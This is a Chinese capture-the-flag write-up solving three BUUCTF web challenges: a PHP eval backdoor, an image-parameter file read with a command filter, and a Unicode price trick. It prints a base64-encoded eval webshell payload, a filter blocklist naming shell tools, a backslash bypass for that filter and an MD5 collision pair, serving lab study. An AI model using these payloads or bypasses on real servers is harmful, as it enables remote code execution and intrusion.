uuctf-Unicorn shop----easy_web----CheckIN
- 1、[GKCTF2020]CheckIN
- 2、[安洵杯 2019]easy_web
- 3、[ASIS 2019]Unicorn shop
1、[GKCTF2020]CheckIN
代码审计:
首先发现eval函数,而且是base64加密通过Ginkgo传参。
构造url,查看phpinfo();
,base64编码为cGhwaW5mbygpOw==
http://afadb209-7e5c-4975-9f72-bede60b24a14.node3.buuoj.cn/?Ginkgo=cGhwaW5mbygpOw==
发现php版本为7.3
搜索Ginkgo发现参数已以base64方式传入
利用eval构造eval($_POST[123]);
,base64加密ZXZhbCgkX1BPU1RbMTIzXSk7
,
构造新的url:http://afadb209-7e5c-4975-9f72-bede60b24a14.node3.buuoj.cn/?Ginkgo=ZXZhbCgkX1BPU1RbMTIzXSk7
蚁剑尝试连接,连接成功
但是flag文件权限较低不能访问,尝试readflag发现乱码,无果。
更改权限失败
搜索php7.3的漏洞
安全客
下方附有exp
下载exp,修改exp如下:
利用蚁剑上传。tmp文件夹权限1777最高,上传到此文件夹。上传成功返回界面利用post执行文件:(通过之前的一句话来执行文件包含,得到flag)
2、[安洵杯 2019]easy_web
打开题目如下:
url:http://1b10f457-a2ac-498f-9095-fa3e560c76c6.node3.buuoj.cn/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=
很容易发现有两个参数传递,img和cmd
而且img参数被加密,尝试解密。
一次解码之后,格式仍然很像,继续解码,直到最后一步直接就是hex的ascii码(16进制转字符串),得到555.png,一个正常的文件名,同时我们在源代码里也看到了base64编码过的png内容,
同样将index.php反推: TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
bp抓包,修改img参数,得到ase64加密后的index.php。
解密得到源码:
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {echo '<img src ="./ctf3.jpeg">';die("xixi~ no flag");
} else {$txt = base64_encode(file_get_contents($file));echo "<img src='data:image/gif;base64," . $txt . "'></img>";echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {echo("forbid ~");echo "<br>";
} else {if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {echo `$cmd`;} else {echo ("md5 is funny ~");}
}?>
<html>
<style>body{background:url(./bj.png) no-repeat center center;background-size:cover;background-attachment:fixed;background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>
(preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i",$cmd))
过滤很多shell命令,但是可以用\
进行绕过,如cat flag
可以写成ca\t /fl\ag
md5强类型碰撞
%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
绕过index.php中的
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b']))
传入参数,bp抓包,接下来使用cmd参数,img参数也就没了必要。
使用dir命令扫当前文件夹,没发现flag,尝试读取根目录,发现flag文件
因为禁用啦cat,使用\
绕过获取flag
看网上还有一种方法读取flag:
sort命令:sort将文件的每一行作为一个单位,相互比较,比较原则是从首字符向后,依次按ASCII码值进行比较,最后将他们按升序输出。
3、[ASIS 2019]Unicorn shop
shop 肯定跟买东西有关,在下方输入id=4和价钱=1337,尝试购买
只允许输入一个字符购买,这就用到了unicode的知识。
推荐转换网站:https://www.compart.com/en/unicode/
unicode安全:
浅谈Unicode设计的安全性
Unicode等价性浅谈
随便挑一个大于1337的就可以,然后回去买一下独角兽即可得到flag。
uuctf-Unicorn shop----easy_web----CheckIN相关推荐
- [CTFTraining] ASIS CTF 2019 Quals Unicorn shop
阿米尔卡比尔大学信息安全与密码学研究小组夺旗赛 我们随便买一件商品,1~3都显示: 只有第4个显示: 只允许输入一个字符,题目叫Unicorn,猜测为Unicode.在Unicode - ...
- BUUCTF解题十一道(04)
文章目录 [GWCTF 2019]我有一个数据库 [BJDCTF2020]ZJCTF,不过如此 [BJDCTF2020]The mystery of ip [BJDCTF2020]Mark loves ...
- Web-10(37-40)-BUUCTF平台
本篇内容 [CISCN2019 华北赛区 Day1 Web1]Dropbox [CISCN2019 华北赛区 Day1 Web2]ikun [ASIS 2019]Unicorn shop [安洵杯 2 ...
- BUUCTF Web 第二页全部Write ups
更多笔记,可以关注yym68686.top 目录 [强网杯 2019]高明的黑客 [BUUCTF 2018]Online Tool [RoarCTF 2019]Easy Java [GXYCTF201 ...
- BUUCTF-刷题记录-3
WEB [HCTF 2018]admin 页面没什么功能点,注册一个账号并登录,在更改密码的页面发现注释,存在源码. 在config.py中发现SECRET_KEY:ckj123,同时发现sessio ...
- BUUCTFweb刷题记录
[极客大挑战 2019]BuyFlag header里头有个user=0,将其修改成1 再post money=100000001&password=404a 发现money参数过长,使用数组 ...
- 持续集成之戏说Check-in Dance
<infoq> 众所周知,敏捷软件开发方法中有多种最佳实践,既有管理方面的,也有技术方面的.在尝试敏捷之初,并不是每个团队都能使用全部最佳实践,也不是每个实践都能在短时间内见效.但其中有一 ...
- Microsoft .NET Pet Shop 4 架构与技术分析
1.项目概述与架构分析微软刚推出了基于ASP.NET 2.0下的Pet Shop 4, 该版本有了一个全新的用户界面.是研究ASP.NET 2.0的好范例啊,大家都知道,一直以来,在.NET和Java ...
- Unicorn 4.6.3 发布,Rack的HTTP服务器
Unicorn 4.6.3 修复了 Unicorn::HttpParser#filter_body 的 bug,DSO 的体积有所减小. Unicorn 是一个为运行 Rack 应用的HTTP服务器. ...
- Asp.net MVC 示例项目Suteki.Shop分析之---结束篇
到今天,这个系列的文章就要先告一段落了.其中我用了10篇文章也没有穷尽该项目的设计思想,只能从中捡了一些我感兴趣的东西进行了分析和说明,正所谓兴趣是最大的动力.当然限于本人水平有限,难免有一些认识上的 ...
最新文章
- Flask学习之路(一)--初识flask
- 报错——StackOverflowError
- juniper M320路由器基本配置
- c语言给定变量a的初始值,2018年9月计算机二级C语言考试冲刺提分试题(一)
- hello.cpp 第一个C++程序(本博客没有特指都是以QT测试)
- centos 7 快速安装nginx
- EXEC与sp_executesql的区别及应用
- 自我觉察-3:发现-我这么做究竟为了什么?
- gitbash登录码云报错_手把手教你入门git仓库和关联码云
- 深入理解分布式系统原理与设计
- Python vs Matlab—— find 与 np.where
- Java高并发实战,锁的优化
- PotPlayer v1.7 纯净绿色版 最好用的本地视频播放器下载
- 微信小程序自定义字体
- 硅谷火爆的云原生,你会玩吗?
- 计算机组成原理(8)CPU——基本结构
- python 学习之Windows 下的编码处理!
- Java图片处理 - 创建工具类
- Portal产品对比分析报告
- hbase major compact脚本
热门文章
- 禁用浏览器的后退按钮
- C++核心编程-5 文件操作
- 高速学英语- 大脑的不同学习机制
- java gsoap mtom_mtom_xop 通过gsoap实现高效MTOM协议的数据传输 - 下载 - 搜珍网
- 为什么说衰老先从血管开始?
- 上海职称英语计算机取消,上海地区职称英语考试是不是取消了?
- 学那么多东西有屁用,不如先建立自己的知识体系
- 【区块链技术工坊32期】陈军:区块链+供应链金融解决方案及落地案例
- 如何成为技术大牛--摘自牛人
- PS批量处理批量裁减不同尺寸图片教程(超详细教程 非常实用)-photoshop